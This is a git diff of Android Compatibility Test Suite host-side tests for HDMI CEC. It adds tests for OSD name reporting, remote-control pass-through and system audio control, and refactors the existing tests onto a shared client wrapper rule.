diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
index b751cf4..e65660d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
@@ -27,4 +27,23 @@
static final int PLAYBACK_DEVICE_TYPE = 0x04;
+ static final int CEC_CONTROL_SELECT = 0x0;
+ static final int CEC_CONTROL_UP = 0x1;
+ static final int CEC_CONTROL_DOWN = 0x2;
+ static final int CEC_CONTROL_LEFT = 0x3;
+ static final int CEC_CONTROL_RIGHT = 0x4;
+ static final int CEC_CONTROL_BACK = 0xd;
+ static final int CEC_CONTROL_VOLUME_UP = 0x41;
+ static final int CEC_CONTROL_VOLUME_DOWN = 0x42;
+ static final int CEC_CONTROL_MUTE = 0x43;
+
+ static final int UNRECOGNIZED_OPCODE = 0x0;
+
+ static final int CEC_DEVICE_TYPE_TV = 0;
+ static final int CEC_DEVICE_TYPE_RECORDING_DEVICE = 1;
+ static final int CEC_DEVICE_TYPE_RESERVED = 2;
+ static final int CEC_DEVICE_TYPE_TUNER = 3;
+ static final int CEC_DEVICE_TYPE_PLAYBACK_DEVICE = 4;
+ static final int CEC_DEVICE_TYPE_AUDIO_SYSTEM = 5;
+
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecDeviceOsdNameTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecDeviceOsdNameTest.java
new file mode 100644
index 0000000..46306f1
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecDeviceOsdNameTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC tests related to the device reporting the device OSD name (Section 11.2.11) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecDeviceOsdNameTest extends BaseHostJUnit4Test {
+ private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1;
+
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
+
+ /**
+ * Test 11.2.11-1a
+ * Tests that the device responds to a <GIVE_OSD_NAME> with a <SET_OSD_NAME> that has the
+ * correct device name in the parameters.
+ */
+ @Test
+ public void cect_11_2_11_1a_GiveOsdNameTest() throws Exception {
+ /* The params for <SET_OSD_NAME> only allow for 14 characters */
+ final int nameLength = 14;
+ ITestDevice device = getDevice();
+ String deviceName = device.executeShellCommand("settings get global device_name").trim();
+ if (deviceName.length() > nameLength) {
+ deviceName = deviceName.substring(0, nameLength).trim();
+ }
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_OSD_NAME);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV, CecMessage.SET_OSD_NAME);
+ assertEquals(deviceName, hdmiCecClient.getAsciiStringFromMessage(message));
+ }
+
+ /**
+ * Test 11.2.11-1b
+ * Test updates the device_name in global properties and checks that the device responds to a
+ * <GIVE_OSD_NAME> with a <SET_OSD_NAME> that has the updated device name in the parameters.
+ */
+ @Test
+ public void cect_11_2_11_1b_UpdateAndGiveOsdNameTest() throws Exception {
+ final String testName = "test_name";
+ ITestDevice device = getDevice();
+ String originalName = device.executeShellCommand("settings get global device_name").trim();
+ try {
+ device.executeShellCommand("settings put global device_name '" + testName + "'");
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_OSD_NAME);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+ CecMessage.SET_OSD_NAME);
+ assertEquals(testName, hdmiCecClient.getAsciiStringFromMessage(message));
+ } finally {
+ device.executeShellCommand("settings put global device_name '" + originalName + "'");
+ }
+ }
+
+ /**
+ * Test 11.2.11-2
+ * Tests that the device does not respond to a <GIVE_OSD_NAME> from an unregistered device.
+ */
+ @Test
+ public void cect_11_2_11_2_UnregisteredDeviceGiveOsdNameTest() throws Exception {
+ hdmiCecClient.sendCecMessage(CecDevice.PLAYBACK_1, CecMessage.GIVE_OSD_NAME);
+ hdmiCecClient.checkOutputDoesNotContainMessage(CecDevice.PLAYBACK_1,
+ CecMessage.SET_OSD_NAME);
+ hdmiCecClient.sendCecMessage(CecDevice.BROADCAST, CecMessage.GIVE_OSD_NAME);
+ hdmiCecClient.checkOutputDoesNotContainMessage(CecDevice.BROADCAST,
+ CecMessage.SET_OSD_NAME);
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java
index 5987ace..97c03d1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java
@@ -17,38 +17,23 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecLogicalAddressTest implements IDeviceTest {
+public final class HdmiCecLogicalAddressTest extends BaseHostJUnit4Test {
private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1;
- private ITestDevice mDevice;
-
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
- }
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
/**
* Test 10.2.3-1
@@ -58,18 +43,9 @@
@Test
public void cect_10_2_3_1_RebootLogicalAddress() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
- assertEquals(PLAYBACK_DEVICE, hdmiCecUtils.getSourceFromMessage(message));
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ device.executeShellCommand("reboot");
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
+ assertEquals(PLAYBACK_DEVICE, hdmiCecClient.getSourceFromMessage(message));
}
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java
index cd7c788..d54f0c7 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java
@@ -17,39 +17,24 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC tests for One Touch Play (Section 11.2.1) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecOneTouchPlayTest implements IDeviceTest {
+public final class HdmiCecOneTouchPlayTest extends BaseHostJUnit4Test {
private static final int PHYSICAL_ADDRESS = 0x1000;
- private ITestDevice mDevice;
-
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
- }
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
/**
* Test 11.2.1-1
@@ -59,18 +44,9 @@
@Test
public void cect_11_2_1_1_OneTouchPlay() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- device.executeShellCommand("input keyevent KEYCODE_HOME");
- hdmiCecUtils.checkExpectedOutput(CecDevice.TV, CecMessage.TEXT_VIEW_ON);
- String message = hdmiCecUtils.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
- assertEquals(PHYSICAL_ADDRESS, hdmiCecUtils.getParamsFromMessage(message));
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ device.executeShellCommand("input keyevent KEYCODE_HOME");
+ hdmiCecClient.checkExpectedOutput(CecDevice.TV, CecMessage.TEXT_VIEW_ON);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
+ assertEquals(PHYSICAL_ADDRESS, hdmiCecClient.getParamsFromMessage(message));
}
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java
index 0e61c24..e7ba389 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java
@@ -17,37 +17,22 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC test to verify physical address after device reboot (Section 10.1.2) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPhysicalAddressTest implements IDeviceTest {
+public final class HdmiCecPhysicalAddressTest extends BaseHostJUnit4Test {
- private ITestDevice mDevice;
-
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
- }
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
/**
* Test 10.1.2-1
@@ -57,20 +42,11 @@
@Test
public void cect_10_1_2_1_RebootPhysicalAddress() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
- int physicalAddress = hdmiCecUtils.getParamsFromMessage(message,
- HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
- assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, physicalAddress);
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ device.executeShellCommand("reboot");
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
+ int physicalAddress = hdmiCecClient.getParamsFromMessage(message,
+ HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
+ assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, physicalAddress);
}
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java
index d396b05..136c8da 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java
@@ -17,40 +17,29 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
+import java.util.concurrent.TimeUnit;
+
/** HDMI CEC test to check if the device reports power status correctly (Section 11.2.14) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPowerStatusTest implements IDeviceTest {
+public final class HdmiCecPowerStatusTest extends BaseHostJUnit4Test {
private static final int ON = 0x0;
private static final int OFF = 0x1;
- private ITestDevice mDevice;
+ private static final int WAIT_TIME = 5;
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
- }
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
/**
* Test 11.2.14-1
@@ -60,21 +49,12 @@
@Test
public void cect_11_2_14_1_PowerStatusWhenOn() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- /* Make sure the device is not booting up/in standby */
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
- String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
- CecMessage.REPORT_POWER_STATUS);
- assertEquals(ON, hdmiCecUtils.getParamsFromMessage(message));
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ /* Make sure the device is not booting up/in standby */
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+ CecMessage.REPORT_POWER_STATUS);
+ assertEquals(ON, hdmiCecClient.getParamsFromMessage(message));
}
/**
@@ -85,23 +65,18 @@
@Test
public void cect_11_2_14_2_PowerStatusWhenOff() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
try {
- hdmiCecUtils.init();
/* Make sure the device is not booting up/in standby */
device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
device.executeShellCommand("input keyevent KEYCODE_SLEEP");
- hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
- String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
+ TimeUnit.SECONDS.sleep(WAIT_TIME);
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
CecMessage.REPORT_POWER_STATUS);
- assertEquals(OFF, hdmiCecUtils.getParamsFromMessage(message));
+ assertEquals(OFF, hdmiCecClient.getParamsFromMessage(message));
} finally {
/* Wake up the device */
device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
- hdmiCecUtils.killCecProcess();
}
}
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRemoteControlPassThroughTest.java
new file mode 100644
index 0000000..aa47adf
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRemoteControlPassThroughTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Scanner;
+import java.util.concurrent.TimeUnit;
+
+/** HDMI CEC test to check if the device reports power status correctly (Section 11.2.13) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecRemoteControlPassThroughTest extends BaseHostJUnit4Test {
+
+ /**
+ * The package name of the APK.
+ */
+ private static final String PACKAGE = "android.hdmicec.app";
+ /**
+ * The class name of the main activity in the APK.
+ */
+ private static final String CLASS = "HdmiCecKeyEventCapture";
+ /**
+ * The command to launch the main activity.
+ */
+ private static final String START_COMMAND = String.format(
+ "am start -W -a android.intent.action.MAIN -n %s/%s.%s", PACKAGE, PACKAGE, CLASS);
+ /**
+ * The command to clear the main activity.
+ */
+ private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+
+ private static final int WAIT_TIME = 10;
+
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
+
+ private void lookForLog(String expectedOut) throws Exception {
+ ITestDevice device = getDevice();
+ TimeUnit.SECONDS.sleep(WAIT_TIME);
+ String logs = device.executeAdbCommand("logcat", "-v", "brief", "-d", CLASS + ":I", "*:S");
+ // Search for string.
+ String testString = "";
+ Scanner in = new Scanner(logs);
+ while (in.hasNextLine()) {
+ String line = in.nextLine();
+ if(line.startsWith("I/" + CLASS)) {
+ testString = line.split(":")[1].trim();
+ break;
+ }
+ }
+ device.executeAdbCommand("logcat", "-c");
+ assertEquals(expectedOut, testString);
+ }
+
+ /**
+ * Test 11.2.13-1
+ * Tests that the device responds correctly to a <USER_CONTROL_PRESSED> message followed
+ * immediately by a <USER_CONTROL_RELEASED> message.
+ */
+ @Test
+ public void cect_11_2_13_1_UserControlPressAndRelease() throws Exception {
+ ITestDevice device = getDevice();
+ // Clear activity
+ device.executeShellCommand(CLEAR_COMMAND);
+ // Clear logcat.
+ device.executeAdbCommand("logcat", "-c");
+ // Start the APK and wait for it to complete.
+ device.executeShellCommand(START_COMMAND);
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_UP, false);
+ lookForLog("Short press KEYCODE_DPAD_UP");
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_DOWN, false);
+ lookForLog("Short press KEYCODE_DPAD_DOWN");
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_LEFT, false);
+ lookForLog("Short press KEYCODE_DPAD_LEFT");
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_RIGHT, false);
+ lookForLog("Short press KEYCODE_DPAD_RIGHT");
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_SELECT, false);
+ lookForLog("Short press KEYCODE_DPAD_CENTER");
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_BACK, false);
+ lookForLog("Short press KEYCODE_BACK");
+ }
+
+ /**
+ * Test 11.2.13-2
+ * Tests that the device responds correctly to a <USER_CONTROL_PRESSED> message for press and
+ * hold operations.
+ */
+ @Test
+ public void cect_11_2_13_2_UserControlPressAndHold() throws Exception {
+ ITestDevice device = getDevice();
+ // Clear activity
+ device.executeShellCommand(CLEAR_COMMAND);
+ // Clear logcat.
+ device.executeAdbCommand("logcat", "-c");
+ // Start the APK and wait for it to complete.
+ device.executeShellCommand(START_COMMAND);
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_UP, true);
+ lookForLog("Long press KEYCODE_DPAD_UP");
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_DOWN, true);
+ lookForLog("Long press KEYCODE_DPAD_DOWN");
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_LEFT, true);
+ lookForLog("Long press KEYCODE_DPAD_LEFT");
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_RIGHT, true);
+ lookForLog("Long press KEYCODE_DPAD_RIGHT");
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_SELECT, true);
+ lookForLog("Long press KEYCODE_DPAD_CENTER");
+ hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_BACK, true);
+ lookForLog("Long press KEYCODE_BACK");
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java
index 1e5f05c..cb6b536 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java
@@ -17,38 +17,45 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
+import java.util.concurrent.TimeUnit;
+
/** HDMI CEC test to test routing control (Section 11.2.2) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecRoutingControlTest implements IDeviceTest {
+public final class HdmiCecRoutingControlTest extends BaseHostJUnit4Test {
private static final int PHYSICAL_ADDRESS = 0x1000;
- private ITestDevice mDevice;
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
+ /**
+ * Test 11.2.2-1
+ * Tests that the device broadcasts a <ACTIVE_SOURCE> in response to a <SET_STREAM_PATH>, when
+ * the TV has switched to a different input.
+ */
+ @Test
+ public void cect_11_2_2_1_SetStreamPathToDut() throws Exception {
+ final long hdmi2Address = 0x2000;
+ /* Switch to HDMI2. Setup assumes DUT is connected to HDMI1. */
+ hdmiCecClient.sendCecMessage(CecDevice.PLAYBACK_2, CecDevice.BROADCAST,
+ CecMessage.ACTIVE_SOURCE, hdmiCecClient.formatParams(hdmi2Address));
+ TimeUnit.SECONDS.sleep(3);
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
+ CecMessage.SET_STREAM_PATH,
+ hdmiCecClient.formatParams(HdmiCecConstants.PHYSICAL_ADDRESS));
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
+ assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS,
+ hdmiCecClient.getParamsFromMessage(message));
}
/**
@@ -59,20 +66,11 @@
@Test
public void cect_11_2_2_2_RequestActiveSource() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- device.executeShellCommand("input keyevent KEYCODE_HOME");
- hdmiCecUtils.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
- CecMessage.REQUEST_ACTIVE_SOURCE);
- String message = hdmiCecUtils.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
- assertEquals(PHYSICAL_ADDRESS, hdmiCecUtils.getParamsFromMessage(message));
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ device.executeShellCommand("input keyevent KEYCODE_HOME");
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
+ CecMessage.REQUEST_ACTIVE_SOURCE);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
+ assertEquals(PHYSICAL_ADDRESS, hdmiCecClient.getParamsFromMessage(message));
}
/**
@@ -83,19 +81,16 @@
@Test
public void cect_11_2_2_4_InactiveSourceOnStandby() throws Exception {
ITestDevice device = getDevice();
- assertNotNull("Device not set", device);
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
try {
- hdmiCecUtils.init();
device.executeShellCommand("input keyevent KEYCODE_HOME");
device.executeShellCommand("input keyevent KEYCODE_SLEEP");
- hdmiCecUtils.checkExpectedOutput(CecMessage.INACTIVE_SOURCE);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+ CecMessage.INACTIVE_SOURCE);
+ assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS,
+ hdmiCecClient.getParamsFromMessage(message));
} finally {
/* Wake up the device */
device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
- hdmiCecUtils.killCecProcess();
}
}
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemAudioControlTest.java
new file mode 100644
index 0000000..c2b4678a
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemAudioControlTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertEquals;
+
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.concurrent.TimeUnit;
+
+/** HDMI CEC test to verify system audio control commands (Section 11.2.15) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemAudioControlTest extends BaseHostJUnit4Test {
+ private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1;
+
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
